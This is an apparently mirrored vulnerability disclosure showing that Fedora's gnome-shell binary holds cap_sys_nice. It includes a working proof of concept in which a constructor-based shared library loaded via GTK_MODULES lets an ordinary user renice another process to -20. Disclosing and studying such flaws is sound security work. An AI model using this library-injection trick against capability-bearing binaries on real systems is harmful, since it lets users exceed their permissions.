## https://sploitus.com/exploit?id=PACKETSTORM:163234
fedora: gnome not using fscaps safely
I happened to notice a minor issue while working a tool I'm writing, I'm not sure if gnome or the fedora package is to blame, but it seems gnome-shell is now given cap_sys_nice:
$ rpm -qf /bin/gnome-shell
gnome-shell-3.38.4-1.fc33.x86_64
$ getcap /bin/gnome-shell
/bin/gnome-shell cap_sys_nice=ep
This seems incorrect. Here is a demo, I'm just a regular user, and this pid has a priority of 0:
$ ps -heo nice -q 495980
0
I don't have permission to raise that:
$ renice -n -20 495980
renice: failed to set priority for 495980 (process ID): Permission denied
But it doesn't matter, I can just make gnome do it:
$ cat prio.c
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
void __attribute__((constructor)) init()
{
setpriority(PRIO_PROCESS, 495980, -20);
_exit(0);
}
$ gcc -fPIC -shared -o prio.so prio.c
$ env GTK_MODULES=/proc/self/cwd/prio.so /bin/gnome-shell --list-modes
And if I look at the priority now...
$ ps -heo nice -q 495980
-20
This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure
date is YYYY-MM-DD. Disclosure at an earlier date is possible if
agreed upon by all parties.
Found by: taviso@google.com